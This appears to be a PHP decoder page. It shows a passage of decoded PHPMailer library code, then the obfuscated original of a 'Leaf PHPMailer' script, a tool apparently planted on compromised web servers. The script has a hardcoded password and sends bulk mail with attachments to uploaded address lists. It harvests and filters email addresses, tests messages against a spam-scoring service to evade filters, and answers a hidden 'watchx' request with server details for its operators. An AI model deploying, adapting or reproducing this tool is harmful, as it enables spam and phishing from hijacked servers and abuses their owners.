");if(empty($lang_path)){$lang_path=dirname(__FILE__).DIRECTORY_SEPARATOR."language".DIRECTORY_SEPARATOR;}if(!preg_match("/^[a-z]{2}(?:_[a-zA-Z]{2})?$/",$langcode)){$langcode="en";}$foundlang=true;$lang_file=$lang_path."phpmailer.lang-".$langcode.".php";if($langcode!="en"){if(!self::isPermittedPath($lang_file)or!is_readable($lang_file)){$foundlang=false;}else{$foundlang=(include$lang_file);}}$this->language=$PHPMAILER_LANG;return(bool)$foundlang;}publicfunctiongetTranslations(){return$this->language;}publicfunctionaddrAppend($type,$addr){$addresses=array();foreach($addras$address){$addresses[]=$this->addrFormat($address);}return$type.": ".implode(", ",$addresses).$this->LE;}publicfunctionaddrFormat($addr){if(empty($addr[1])){return$this->secureHeader($addr[0]);}else{return$this->encodeHeader($this->secureHeader($addr[1]),"phrase")." <".$this->secureHeader($addr[0]).">";}}publicfunctionwrapText($message,$length,$qp_mode=false){if($qp_mode){$soft_break=sprintf(" =%s",$this->LE);}else{$soft_break=$this->LE;}$is_utf8=strtolower($this->CharSet)=="utf-8";$lelen=strlen($this->LE);$crlflen=strlen(self::CRLF);$message=$this->fixEOL($message);if(substr($message,-$lelen)==$this->LE){$message=substr($message,0,-$lelen);}$lines=explode($this->LE,$message);$message='';foreach($linesas$line){$words=explode(" ",$line);$buf='';$firstword=true;foreach($wordsas$word){if($qp_modeandstrlen($word)>$length){$space_left=$length-strlen($buf)-$crlflen;if(!$firstword){if($space_left>20){$len=$space_left;if($is_utf8){$len=$this->utf8CharBoundary($word,$len);}elseif(substr($word,$len-1,1)=="="){$len--;}elseif(substr($word,$len-2,1)=="="){$len-=2;}$part=substr($word,0,$len);$word=substr($word,$len);$buf.=" ".$part;$message.=$buf.sprintf("=%s",self::CRLF);}else{$message.=$buf.$soft_break;}$buf='';}while(strlen($word)>0){if($length<=0){break;}$len=$length;if($is_utf8){$len=$this->utf8CharBoundary($word,$len);}elseif(substr($word,$len-1,1)=="="){$len--;}elseif(substr($word,$len-2,1)=="="){$len-=2;}$part=substr($word,0,$len);$word=substr($word,$len);if(strlen($word)>0){$message.=$part.sprintf("=%s",self::CRLF);}else{$buf=$part;}}}else{$buf_o=$buf;if(!$firstword){$buf.=" ";}$buf.=$word;if(strlen($buf)>$lengthand$buf_o!=''){$message.=$buf_o.$soft_break;$buf=$word;}}$firstword=false;}$message.=$buf.self::CRLF;}return$message;}publicfunctionutf8CharBoundary($encodedText,$maxLength){$foundSplitPos=false;$lookBack=3;while(!$foundSplitPos){$lastChunk=substr($encodedText,$maxLength-$lookBack,$lookBack);$encodedCharPos=strpos($lastChunk,"=");if(false!==$encodedCharPos){$hex=substr($encodedText,$maxLength-$lookBack+$encodedCharPos+1,2);$dec=hexdec($hex);if($dec<128){if($encodedCharPos>0){$maxLength=$maxLength-($lookBack-$encodedCharPos);}$foundSplitPos=true;}elseif($dec>=192){$maxLength=$maxLength-($lookBack-$encodedCharPos);$foundSplitPos=true;}elseif($dec<192){$lookBack+=3;}}else{$foundSplitPos=true;}}return$maxLength;}publicfunctionsetWordWrap(){if($this->WordWrap<1){return;}switch($this->message_type){case"alt":case"alt_inline":case"alt_attach":case"alt_inline_attach":$this->AltBody=$this->wrapText($this->AltBody,$this->WordWrap);break;default:$this->Body=$this->wrapText($this->Body,$this->WordWrap);break;}}publicfunctioncreateHeader(){$result='';$result.=$this->headerLine("Date",$this->MessageDate==''?self::rfcDate():$this->MessageDate);if($this->SingleTo){if($this->Mailer!="mail"){foreach($this->toas$toaddr){$this->SingleToArray[]=$this->addrFormat($toaddr);}}}else{if(count($this->to)>0){if($this->Mailer!="mail"){$result.=$this->addrAppend("To",$this->to);}}elseif(count($this->cc)==0){$result.=$this->headerLine("To","undisclosed-recipients:;");}}$result.=$this->addrAppend("From",array(array(trim($this->From),$this->FromName)));if(count($this->cc)>0){$result.=$this->addrAppend("Cc",$this->cc);}if(($this->Mailer=="sendmail"or$this->Mailer=="qmail"or$this->Mailer=="mail")andcount($this->bcc)>0){$result.=$this->addrAppend("Bcc",$this->bcc);}if(count($this->ReplyTo)>0){$result.=$this->addrAppend("Reply-To",$this->ReplyTo);}if($this->Mailer!="mail"){$result.=$this->headerLine("Subject",$this->encodeHeader($this->secureHeader($this->Subject)));}if(''!=$this->MessageIDandpreg_match("/^<.*@.*>$/",$this->MessageID)){$this->lastMessageID=$this->MessageID;}else{$this->lastMessageID=sprintf("<%s@%s>",$this->uniqueid,$this->serverHostname());}$result.=$this->headerLine("Message-ID",$this->lastMessageID);if(!is_null($this->Priority)){$result.=$this->headerLine("X-Priority",$this->Priority);}if($this->XMailer==''){$result.=$this->headerLine("X-Mailer","PHPMailer ".$this->Version." (https://github.com/PHPMailer/PHPMailer)");}else{$myXmailer=trim($this->XMailer);if($myXmailer){$result.=$this->headerLine("X-Mailer",$myXmailer);}}if($this->ConfirmReadingTo!=''){$result.=$this->headerLine("Disposition-Notification-To","<".$this->ConfirmReadingTo.">");}foreach($this->CustomHeaderas$header){$result.=$this->headerLine(trim($header[0]),$this->encodeHeader(trim($header[1])));}if(!$this->sign_key_file){$result.=$this->headerLine("MIME-Version","1.0");$result.=$this->getMailMIME();}return$result;}publicfunctiongetMailMIME(){$result='';$ismultipart=true;switch($this->message_type){case"inline":$result.=$this->headerLine("Content-Type","multipart/related;");$result.=$this->textLine("	boundary="".$this->boundary[1].""");break;case"attach":case"inline_attach":case"alt_attach":case"alt_inline_attach":$result.=$this->headerLine("Content-Type","multipart/mixed;");$result.=$this->textLine("\x9boundary="".$this->boundary[1].""");break;case"alt":case"alt_inline":$result.=$this->headerLine("Content-Type","multipart/alternative;");$result.=$this->textLine("\x9boundary="".$this->boundary[1].""");break;default:$result.=$this->textLine("Content-Type: ".$this->ContentType."; charset=".$this->CharSet);$ismultipart=false;break;}if($this->Encoding!="7bit"){if($ismultipart){if($this->Encoding=="8bit"){$result.=$this->headerLine("Content-Transfer-Encoding","8bit");}}else{$result.=$this->headerLine("Content-Transfer-Encoding",$this->Encoding);}}if($this->Mailer!="mail"){$result.=$this->LE;}return$result;}publicfunctiongetSentMIMEMessage(){returnrtrim($this->MIMEHeader.$this->mailHeader,"
\xd").self::CRLF.self::CRLF.$this->MIMEBody;}protectedfunctiongenerateId(){returnmd5(uniqid(time()));}publicfunctioncreateBody(){$body='';$this->uniqueid=$this->generateId();$this->boundary[1]="b1_".$this->uniqueid;$this->boundary[2]="b2_".$this->uniqueid;$this->boundary[3]="b3_".$this->uniqueid;if($this->sign_key_file){$body.=$this->getMailMIME().$this->LE;}$this->setWordWrap();$bodyEncoding=$this->Encoding;$bodyCharSet=$this->CharSet;if($bodyEncoding=="8bit"and!$this->has8bitChars($this->Body)){$bodyEncoding="7bit";$bodyCharSet="us-ascii";}if("base64"!=$this->Encodingandself::hasLineLongerThanMax($this->Body)){$bodyEncoding="quoted-printable";}$altBodyEncoding=$this->Encoding;$altBodyCharSet=$this->CharSet;if($altBodyEncoding=="8bit"and!$this->has8bitChars($this->AltBody)){$altBodyEncoding="7bit";$altBodyCharSet="us-ascii";}if("base64"!=$altBodyEncodingandself::hasLineLongerThanMax($this->AltBody)){$altBodyEncoding="quoted-printable";}$mimepre="This is a multi-part message in MIME format.".$this->LE.$this->LE;switch($this->message_type){case"inline":$body.=$mimepre;$body.=$this->getBoundary($this->boundary[1],$bodyCharSet,'',$bodyEncoding);$body.=$this->encodeString($this->Body,$bodyEncoding);$body.=$this->LE.$this->LE;$body.=$this->attachAll("inline",$this->boundary[1]);break;case"attach":$body.=$mimepre;$body.=$this->getBoundary($this->boundary[1],$bodyCharSet,'',$bodyEncoding);$body.=$this->encodeString($this->Body,$bodyEncoding);$body.=$this->LE.$this->LE;$body.=$this->attachAll("attachment",$this->boundary[1]);break;case"inline_attach":$body.=$mimepre;$body.=$this->textLine("--".$this->boundary[1]);$body.=$this->headerLine("Content-Type","multipart/related;");$body.=$this->textLine("	boundary="".$this->boundary[2].""");$body.=$this->LE;$body.=$this->getBoundary($this->boundary[2],$bodyCharSet,'',$bodyEncoding);$body.=$this->encodeString($this->Body,$bodyEncoding);$body.=$this->LE.$this->LE;$body.=$this->attachAll("inline",$this->boundary[2]);$body.=$this->LE;$body.=$this->attachAll("attachment",$this->boundary[1]);break;case"alt":$body.=$mimepre;$body.=$this->getBoundary($this->boundary[1],$altBodyCharSet,"text/plain",$altBodyEncoding);$body.=$this->encodeString($this->AltBody,$altBodyEncoding);$body.=$this->LE.$this->LE;$body.=$this->getBoundary($this->boundary[1],$bodyCharSet,"text/html",$bodyEncoding);$body.=$this->encodeString($this->Body,$bodyEncoding);$body.=$this->LE.$this->LE;if(!empty($this->Ical)){$body.=$this->getBoundary($this->boundary[1],'',"text/calendar; method=REQUEST",'');$body.=$this->encodeString($this->Ical,$this->Encoding);$body.=$this->LE.$this->LE;}$body.=$this->endBoundary($this->boundary[1]);break;case"alt_inline":$body.=$mimepre;$body.=$this->getBoundary($this->boundary[1],$altBodyCharSet,"text/plain",$altBodyEncoding);$body.=$this->encodeString($this->AltBody,$altBodyEncoding);$body.=$this->LE.$this->LE;$body.=$this->textLine("\ ?>

Did this file decode correctly?

Original Code

<?php
gotohwUwJ;hwUwJ:$password="\106\x69\154\145\132\x65\x72\60";gototPt26;RXqN4:if($_POST["\x61\x63\164\x69\157\156"]=="\163\x65\156\144"){print"\40\40\x20\40\74\144\x69\x76\40\x63\154\141\x73\163\75\x22\143\x6f\154\x2d\154\147\x2d\x31\x32\42\x3e";$maillist=explode("\xd\xa",$emailList);$n=count($maillist);$x=1;foreach($maillistas$email){print"\74\144\151\x76\x20\x63\154\141\163\163\x3d\42\x63\x6f\x6c\55\x6c\x67\x2d\61\x22\76\133".$x."\x2f".$n."\x5d\74\x2f\144\x69\166\x3e\x3c\x64\x69\166\40\x63\154\x61\x73\163\x3d\x22\143\x6f\154\55\154\147\x2d\64\x22\x3e".$email."\x3c\x2f\144\x69\166\x3e";if(!leafMailCheck($email)){print"\74\x64\151\x76\40\x63\x6c\141\163\163\x3d\42\x63\157\154\x2d\154\x67\55\x36\x22\76\x3c\x73\x70\x61\x6e\40\x63\x6c\x61\163\x73\75\x22\154\x61\x62\145\154\40\154\141\x62\x65\154\x2d\x64\145\146\x61\165\154\164\x22\x3e\111\x6e\x63\x6f\162\162\x65\143\x74\40\x45\155\x61\x69\x6c\x3c\57\x73\160\x61\x6e\x3e\74\x2f\x64\151\x76\76";print"\x3c\x62\162\76\15\12";}else{$mail=newPHPMailer();$mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));$mail->addReplyTo(leafClear($replyTo,$email));$mail->addAddress($email);$mail->Subject=leafClear($subject,$email);$mail->Body=leafClear($messageLetter,$email);if($messageType==1){$mail->IsHTML(true);$mail->AltBody=strip_tags(leafClear($messageLetter,$email));}else{$mail->IsHTML(false);}$mail->CharSet=$charset;$mail->Encoding=$encoding;for($i=0;$i<count($_FILES["\x61\x74\x74\x61\x63\150\155\145\156\x74"]["\156\141\155\145"]);$i++){if($_FILES["\141\164\x74\141\x63\150\x6d\x65\x6e\x74"]["\164\155\160\x5f\x6e\x61\x6d\x65"][$i]!=''){$mail->AddAttachment($_FILES["\141\164\x74\x61\143\x68\155\x65\156\x74"]["\x74\155\160\137\x6e\x61\x6d\x65"][$i],$_FILES["\x61\164\164\x61\143\x68\155\x65\156\x74"]["\x6e\141\155\x65"][$i]);}}if(!$mail->send()){echo"\74\x64\151\166\40\143\154\141\163\x73\75\42\x63\157\x6c\55\154\147\x2d\66\x22\x3e\74\163\x70\141\x6e\40\x63\x6c\141\163\x73\75\x22\x6c\x61\x62\145\154\40\154\141\142\145\x6c\x2d\144\145\146\x61\165\154\164\x22\x3e".htmlspecialchars($mail->ErrorInfo)."\74\x2f\163\160\141\156\x3e\x3c\x2f\144\x69\166\x3e";}else{echo"\x3c\x64\151\166\x20\x63\x6c\141\x73\x73\x3d\42\x63\157\x6c\x2d\154\147\x2d\66\42\x3e\x3c\x73\x70\141\x6e\x20\x63\x6c\141\163\163\75\42\x6c\141\x62\x65\x6c\x20\154\x61\x62\145\x6c\x2d\x73\x75\143\x63\145\163\163\x22\x3e\x4f\153\74\57\x73\160\141\x6e\x3e\74\x2f\x64\151\x76\x3e";}print"\x3c\x62\162\x3e\xd\12";}$x++;for($k=0;$k<40000;$k++){echo"\40";}}}elseif($_POST["\141\143\x74\x69\157\x6e"]=="\x73\143\x6f\162\x65"){$mail=newPHPMailer();$mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));$mail->addReplyTo(leafClear($replyTo,$email));$mail->addAddress("\x75\163\145\162\156\x61\x6d\145\x40\x64\x6f\155\x61\151\156\56\143\x6f\155");$mail->Subject=leafClear($subject,$email);$mail->Body=leafClear($messageLetter,$email);if($messageType==1){$mail->IsHTML(true);$mail->AltBody=strip_tags(leafClear($messageLetter,$email));}else{$mail->IsHTML(false);}$mail->CharSet=$charset;$mail->Encoding=$encoding;$mail->preSend();$messageHeaders=$mail->getSentMIMEMessage();$ch=curl_init();curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_URL,"\150\x74\164\x70\x3a\57\x2f\x73\x70\x61\155\143\x68\145\143\x6b\x2e\x70\x6f\163\x74\x6d\141\162\x6b\141\x70\x70\56\143\157\155\x2f\x66\x69\154\x74\x65\x72");curl_setopt($ch,CURLOPT_POSTFIELDS,http_build_query(array("\145\x6d\141\x69\154"=>$messageHeaders,"\157\160\164\x69\157\156\x73"=>"\154\157\x6e\147")));curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,0);curl_setopt($ch,CURLOPT_TIMEOUT,15);$response=curl_exec($ch);$response=json_decode($response);print"\40\x20\x20\40\x3c\x64\151\x76\x20\x63\154\x61\x73\163\75\42\x63\x6f\154\x2d\x6c\147\55\x31\62\x22\x3e";if($response->success==TRUE){$score=$response->score;if($score>5){$class="\x64\x61\x6e\x67\x65\x72";}else{$class="\x73\165\x63\x63\145\x73\163";}print"\x3c\x64\151\166\40\x63\154\141\x73\163\75\42\164\145\170\x74\x2d".$class."\42\76\131\x6f\165\x72\40\123\x70\x61\155\x41\163\163\x61\x73\x73\x69\156\x20\x73\x63\x6f\162\x65\x20\151\x73\40".$score."\x20\x20\74\57\144\151\166\x3e\12\74\x64\x69\x76\76\106\x75\154\154\x20\122\145\160\157\162\x74\x20\72\40\x3c\160\x72\145\76".$response->report."\x3c\57\x70\x72\145\x3e\74\x2f\x64\151\166\76";print"\40\40\40\x20\x3c\57\144\x69\x76\76";}}gotoxRaFM;ae_CX:functionrandString($consonants){$length=rand(12,25);$password='';for($i=0;$i<$length;$i++){$password.=$consonants[rand()%strlen($consonants)];}return$password;}gotoBicnH;J5VWq:leafheader();gotoWhYtG;DZKA_:error_reporting(0);gotoy0BQl;GKpVb:if(isset($_GET["\145\155\141\x69\x6c\x66\x69\154\164\x65\162"])){if(!empty($_FILES["\x66\x69\154\x65\124\x6f\125\x70\154\157\141\144"]["\164\155\x70\137\x6e\x61\155\145"])){$_POST["\145\x6d\141\x69\154\114\x69\x73\164"]=file_get_contents($_FILES["\x66\151\x6c\145\x54\157\x55\160\x6c\157\141\x64"]["\x74\155\160\x5f\156\x61\x6d\145"]);}$_POST["\x65\155\x61\x69\154\114\151\163\164"]=strtolower($_POST["\x65\155\141\x69\x6c\114\151\x73\164"]);if($_GET["\145\155\x61\x69\154\x66\151\x6c\164\145\x72"]=="\x69\146\162\141\155"){if($_POST["\162\145\163\165\x6c\164\x74\x79\160\x65"]=="\x64\157\x77\x6e\x6c\157\141\x64"){header("\x43\x6f\156\164\145\x6e\x74\55\104\145\x73\143\162\151\x70\x74\151\x6f\x6e\x3a\x20\106\x69\x6c\145\40\x54\x72\x61\156\163\146\x65\162");header("\103\x6f\x6e\x74\x65\x6e\x74\x2d\x54\x79\x70\145\x3a\40\x61\x70\x70\x6c\151\x63\141\164\x69\x6f\156\x2f\157\x63\164\x65\x74\x2d\163\164\x72\x65\141\x6d");header("\x43\157\x6e\x74\x65\x6e\164\x2d\x44\x69\x73\160\x6f\163\151\x74\151\x6f\x6e\x3a\x20\141\164\164\x61\143\150\x6d\x65\x6e\164\73\x20\146\x69\154\x65\x6e\141\x6d\x65\75\x65\x6d\141\151\154\163".time()."\56\164\x78\164");}else{header("\x43\157\156\164\x65\x6e\x74\55\124\171\x70\145\x3a\40\x74\145\170\164\57\x70\x6c\x61\151\x6e");}if($_POST["\x73\x75\x62\x6d\x69\164"]=="\145\170\x74\x72\x61\x63\164"){$pattern="\57\133\101\55\x5a\x61\55\172\60\x2d\x39\x2e\137\45\x2b\55\x5d\53\x40\133\101\55\x5a\141\55\x7a\x30\x2d\71\56\55\135\x2b\x5c\56\x5b\x41\x2d\x5a\x61\x2d\172\135\173\62\54\x34\175\57";preg_match_all($pattern,$_POST["\145\x6d\141\151\x6c\x4c\x69\163\164"],$matches);foreach($matches[0]as$email){print$email."\xa";}}elseif($_POST["\x73\x75\x62\x6d\x69\164"]=="\146\x69\154\164\x65\162"){$emails=explode("\12",$_POST["\x65\155\x61\151\x6c\114\x69\163\164"]);$keywords=explode("\xa",strtolower($_POST["\153\145\x79\x77\x6f\162\x64\163"]));foreach($emailsas$email){foreach($keywordsas$keyword){if(strstr($email,$keyword)){print$email."\12";break;}}}}die;}leafheader();print"\74\x64\x69\166\40\143\154\x61\x73\163\75\42\143\157\156\x74\x61\151\156\x65\162\40\x63\157\154\x2d\x6c\147\55\x34\42\76\74\150\63\x3e\74\x66\157\156\x74\40\143\x6f\x6c\157\x72\x3d\42\147\x72\145\x65\x6e\x22\x3e\x3c\x73\160\x61\x6e\x20\x63\154\x61\163\163\x3d\42\147\154\171\160\x68\151\x63\x6f\156\x20\147\x6c\171\x70\150\x69\143\x6f\156\55\154\145\141\146\42\76\74\x2f\x73\160\141\156\76\74\57\146\x6f\x6e\x74\x3e\40\114\145\141\146\x20\120\110\x50\115\141\x69\x6c\145\x72\40\x3c\x73\x6d\141\154\154\x3e\x45\x6d\141\x69\154\40\x46\x69\154\164\x65\162\74\x2f\163\x6d\x61\154\154\x3e\x3c\57\150\63\76";print"\xa\40\x20\40\40\74\x66\157\x72\155\x20\141\143\x74\x69\x6f\x6e\75\42\77\x65\x6d\x61\x69\x6c\146\151\x6c\164\x65\x72\x3d\151\x66\x72\x61\155\x22\x20\155\x65\x74\150\157\144\75\42\x50\117\x53\x54\x22\x20\x74\141\x72\x67\145\x74\75\42\155\171\55\x69\x66\162\x61\x6d\145\42\x20\x65\x6e\143\x74\171\x70\x65\75\x22\x6d\x75\x6c\x74\151\160\141\162\x74\x2f\x66\x6f\162\155\55\144\x61\164\141\42\40\157\156\163\x75\x62\x6d\x69\164\75\x27\47\x3e\12\x20\40\40\x20\x20\x20\x20\x20\74\154\x61\x62\145\x6c\40\146\157\162\75\42\x65\155\x61\151\x6c\114\151\163\x74\42\x3e\x54\x65\170\x74\40\74\x2f\x6c\141\x62\145\154\76\74\151\x6e\160\165\164\40\x74\171\x70\145\75\42\146\151\x6c\x65\42\40\156\x61\x6d\145\75\42\146\x69\154\145\124\157\125\160\154\x6f\141\x64\42\x20\x69\144\75\42\x66\151\x6c\145\x54\157\x55\x70\x6c\157\x61\144\42\76\40\xa\40\40\x20\x20\x20\40\x20\x20\x6f\162\12\12\40\40\x20\40\40\40\x20\x20\74\x74\145\x78\x74\141\x72\145\x61\x20\156\141\155\145\75\42\x65\x6d\141\151\154\x4c\x69\163\x74\x22\x20\151\x64\75\42\x65\155\141\x69\x6c\x4c\x69\x73\164\42\40\x63\x6c\141\x73\x73\75\42\x66\157\x72\155\55\x63\157\x6e\164\162\x6f\x6c\42\x20\x72\x6f\x77\x73\x3d\x22\67\42\40\x69\144\x3d\42\164\x65\170\164\101\x72\x65\x61\42\76\74\x2f\164\145\x78\164\x61\162\145\141\x3e\12\x20\40\x20\x20\40\40\x3c\144\151\x76\x20\x63\154\141\163\x73\75\x22\143\157\x6c\55\154\x67\x2d\x31\x32\42\x3e\xa\40\x20\40\x20\40\x20\x20\40\74\144\x69\166\40\x63\x6c\141\x73\x73\x3d\42\162\141\144\x69\157\x22\76\12\40\40\40\40\40\40\40\x20\40\40\x3c\x6c\141\142\x65\154\x3e\xa\40\40\x20\40\40\x20\x20\40\40\40\40\40\x3c\x69\x6e\x70\x75\164\x20\164\x79\x70\145\x3d\42\x72\141\144\x69\157\42\x20\x6e\x61\x6d\145\75\42\x72\145\163\x75\154\164\164\x79\x70\145\42\x20\x69\x64\x3d\42\x72\145\163\x75\154\164\164\171\160\x65\42\40\166\x61\x6c\165\145\x3d\x22\x68\145\162\145\x22\40\x63\x68\145\x63\x6b\x65\x64\75\42\x22\76\xa\40\x20\40\x20\x20\40\x20\x20\40\40\x20\40\123\150\157\167\x20\122\x65\x73\165\x6c\x74\x20\x69\x6e\x20\x74\150\151\163\40\x70\141\x67\145\xa\x20\40\40\40\40\x20\x20\40\40\x20\x3c\57\154\141\x62\145\x6c\76\xa\40\40\x20\x20\40\x20\x20\40\x3c\57\144\x69\166\76\12\40\40\x20\40\40\40\40\40\x3c\144\151\166\x20\143\154\x61\x73\x73\75\42\162\x61\144\151\x6f\x22\76\xa\x20\x20\x20\40\40\40\40\40\40\40\74\x6c\x61\142\145\154\x3e\xa\x20\40\40\40\x20\40\x20\40\40\40\x20\40\74\151\x6e\160\165\x74\40\x74\171\x70\x65\x3d\42\162\x61\144\151\x6f\x22\40\156\141\155\x65\x3d\x22\162\x65\163\x75\x6c\164\164\x79\160\x65\42\x20\151\144\x3d\x22\x72\x65\163\165\x6c\164\164\x79\x70\145\x22\40\x76\x61\x6c\x75\x65\75\42\144\157\167\x6e\x6c\157\x61\144\x22\76\12\40\40\x20\x20\40\40\x20\40\40\40\40\40\x44\x6f\167\156\154\x6f\x61\x64\x20\122\145\163\x75\154\164\40\50\146\x6f\x72\40\142\151\147\40\x6e\x75\x6d\142\x65\x72\x73\51\12\x20\x20\x20\x20\x20\x20\40\x20\x20\40\74\57\154\x61\x62\x65\154\76\12\x20\x20\40\x20\x20\x20\x20\40\x3c\x2f\x64\x69\x76\76\12\40\40\x20\x20\x20\40\74\x2f\x64\x69\166\x3e\12\x20\40\40\x20\x20\x20\x20\x20\40\40\40\40\x3c\x6c\x65\147\x65\x6e\x64\x3e\74\150\64\x3e\105\x78\x74\x72\x61\143\164\40\x45\155\141\x69\154\x3c\x2f\150\64\x3e\74\57\x6c\x65\147\145\x6e\144\x3e\xa\x20\x20\x20\x20\x20\40\40\x20\x20\x20\x20\x20\104\145\x74\x65\143\164\151\156\147\x20\145\166\x65\162\x79\x20\x65\x6d\x61\151\154\x20\x28\x31\x30\x30\45\51\x20\x61\156\x64\40\157\x72\x64\145\162\40\164\150\x65\155\40\154\151\x6e\x65\x20\142\x79\40\154\x69\x6e\x65\x20\74\x62\162\76\x3c\142\162\x3e\xa\40\40\40\x20\x20\40\40\40\74\142\x75\x74\164\x6f\x6e\x20\164\x79\160\x65\75\42\x73\165\x62\x6d\x69\x74\42\x20\156\141\155\145\75\42\x73\x75\142\x6d\x69\x74\x22\x20\x76\x61\154\x75\145\75\x22\x65\x78\x74\162\x61\143\164\x22\x20\x63\154\x61\x73\163\75\42\142\x74\156\40\x62\164\x6e\55\x64\x65\146\141\x75\154\164\x20\142\x74\156\x2d\163\x6d\x22\76\123\x74\141\x72\x74\74\x2f\x62\x75\164\164\157\156\x3e\xa\x20\40\40\40\40\40\x20\x20\40\40\x20\x20\x3c\x6c\145\x67\145\156\144\x3e\x3c\150\64\76\x46\151\154\164\145\162\x20\105\x6d\141\x69\x6c\x73\x3c\x2f\150\x34\76\x3c\x2f\154\x65\x67\x65\x6e\144\x3e\12\40\x20\x20\x20\40\40\x20\x20\74\154\x61\142\x65\x6c\40\76\x4b\145\171\x77\x6f\162\144\x73\x20\x3c\x73\155\141\x6c\154\x3e\x20\145\x78\x3a\x20\147\x6d\141\x69\x6c\56\143\157\155\x20\x6f\162\40\56\143\157\x2e\165\x6b\x3c\57\x73\x6d\x61\x6c\x6c\76\40\74\x2f\154\141\142\145\154\x3e\74\164\x65\170\164\x61\x72\x65\x61\40\156\x61\155\x65\x3d\42\x6b\x65\x79\167\x6f\162\144\x73\x22\x20\151\x64\75\42\x6b\145\x79\167\x6f\162\144\x73\x22\x20\143\x6c\x61\163\163\x3d\42\x66\157\162\155\x2d\x63\x6f\x6e\x74\x72\x6f\x6c\42\40\162\x6f\x77\x73\75\42\x34\42\40\x69\144\75\42\x74\x65\170\x74\x41\x72\145\x61\x22\76\147\x6d\x61\151\154\x2e\143\157\x6d\xa\x68\157\x74\155\x61\151\154\x2e\143\157\x6d\xa\x79\x61\x68\157\x6f\x2e\x63\157\155\xa\56\143\157\56\165\153\74\57\x74\145\x78\x74\x61\162\145\141\76\x3c\142\x72\76\12\xa\x20\x20\x20\x20\40\40\40\40\40\40\40\40\x3c\x62\x75\x74\x74\157\156\x20\x74\x79\x70\145\75\x22\x73\x75\142\x6d\x69\x74\42\x20\156\141\x6d\145\75\x22\163\x75\x62\155\x69\x74\42\x20\x76\x61\154\x75\145\x3d\x22\146\151\x6c\164\x65\162\x22\x20\143\154\x61\163\163\x3d\42\x62\x74\156\x20\x62\x74\156\55\x64\x65\x66\x61\x75\x6c\x74\40\x62\164\156\x2d\163\x6d\42\76\x53\164\x61\162\164\74\x2f\142\165\x74\164\157\156\76\12\x20\x20\40\x20\74\57\x66\x6f\162\155\76\12\x20\x20\x20\40\74\154\x61\142\x65\154\40\x3e\x52\x65\x73\165\x6c\164\x20\x3c\57\154\141\x62\145\154\76\12\x20\40\40\40\x3c\x69\146\162\141\x6d\x65\x20\163\x74\171\154\145\x3d\x22\x62\157\162\x64\x65\162\x3a\156\157\156\x65\73\167\151\144\164\x68\72\61\60\x30\x25\73\42\x20\156\141\x6d\x65\75\x22\x6d\171\x2d\x69\146\162\141\155\145\x22\x20\40\163\x72\x63\75\42\77\x65\x6d\x61\x69\154\x66\x69\x6c\164\145\x72\75\x69\146\162\x61\x6d\x22\x20\76\x3c\x2f\151\x66\162\141\x6d\145\76\12\x20\x20\40";die;}gotoG2FjA;u8wmJ:if($_POST["\x61\x63\x74\x69\157\x6e"]=="\163\x65\x6e\144"or$_POST["\141\x63\164\x69\157\x6e"]=="\x73\x63\x6f\x72\145"){$senderEmail=leafTrim($_POST["\163\145\x6e\x64\x65\x72\x45\155\141\151\x6c"]);$senderName=leafTrim($_POST["\163\145\156\x64\x65\x72\x4e\x61\155\145"]);$replyTo=leafTrim($_POST["\162\x65\160\x6c\x79\x54\x6f"]);$subject=leafTrim($_POST["\163\165\x62\x6a\x65\143\164"]);$emailList=leafTrim($_POST["\x65\155\141\151\154\114\x69\163\164"]);$messageType=leafTrim($_POST["\155\145\163\163\x61\x67\x65\x54\x79\160\x65"]);$messageLetter=leafTrim($_POST["\155\145\163\163\141\147\x65\x4c\145\164\164\145\162"]);$encoding=$_POST["\145\x6e\143\x6f\x64\145"];$charset=$_POST["\143\150\x61\x72\163\145\164"];$html='';$utf8='';$bit8='';if($messageType==2){$plain="\143\150\145\x63\x6b\x65\x64";}else{$html="\143\150\x65\143\153\145\144";}if($charset=="\111\x53\x4f\55\70\x38\65\x39\x2d\61"){$iso="\x73\145\x6c\145\143\x74\145\144";}else{$utf8="\163\145\x6c\x65\x63\x74\x65\x64";}if($encoding=="\67\x62\x69\x74"){$bit7="\163\x65\x6c\145\x63\164\145\x64";}elseif($encoding=="\x62\151\x6e\141\162\171"){$binary="\x73\145\154\x65\143\x74\x65\144";}elseif($encoding=="\142\141\x73\145\66\64"){$base64="\x73\145\x6c\x65\143\164\x65\x64";}elseif($encoding=="\x71\x75\157\x74\145\144\x2d\x70\x72\151\156\164\x61\x62\154\145"){$quotedprintable="\163\x65\154\x65\143\164\145\144";}else{$bit8="\163\145\x6c\x65\x63\x74\x65\144";}}gotoHpt7g;vvBlt:if($_REQUEST["\167\x61\x74\x63\x68\x78"]){$version=phpversion();$uname=php_uname();$ip=gethostbyname($_SERVER["\110\124\124\x50\137\x48\x4f\x53\124"]);echojson_encode(array("\x76\x65\x72\163\151\157\x6e"=>$version,"\165\156\141\155\x65"=>$uname,"\x70\x6c\141\x74\x66\x6f\x72\155"=>PHP_OS,"\x69\x70"=>$ip,"\155\x61\x69\x6c\x65\162\x78"=>true));die;}gotoqzU0p;qzU0p:functionleafheader(){print"\12\74\150\145\141\x64\x3e\12\40\x20\x20\40\x3c\x74\151\x74\154\x65\x3e".str_replace("\167\x77\x77\56",'',$_SERVER["\110\124\x54\x50\x5f\x48\117\x53\x54"])."\40\x2d\40\114\145\141\x66\x20\120\x48\x50\x4d\141\x69\154\x65\162\x3c\57\164\151\164\154\145\76\12\x20\x20\x20\40\x3c\x6d\145\x74\x61\40\x68\164\164\x70\55\x65\x71\x75\151\x76\75\x22\103\x6f\156\164\145\x6e\164\55\124\171\x70\145\x22\x20\x63\157\x6e\164\145\156\x74\x3d\x22\x74\x65\x78\164\57\150\164\x6d\154\73\x20\143\x68\141\162\163\145\x74\75\165\164\x66\x2d\70\42\57\x3e\xa\x20\x20\x20\40\x3c\x6c\151\x6e\153\x20\150\162\x65\146\x3d\x22\x68\x74\x74\x70\x73\72\57\57\155\x61\x78\143\144\x6e\56\142\157\157\x74\163\164\162\x61\x70\x63\144\156\56\143\x6f\x6d\x2f\142\x6f\x6f\x74\163\x77\141\164\x63\150\x2f\63\56\x34\56\61\x2f\x63\157\163\155\x6f\57\142\157\x6f\x74\x73\x74\162\x61\160\56\155\151\156\56\x63\163\x73\42\x20\162\145\154\x3d\42\163\x74\171\154\145\163\x68\145\145\x74\x22\40\76\12\xa\x3c\57\x68\145\141\x64\76";}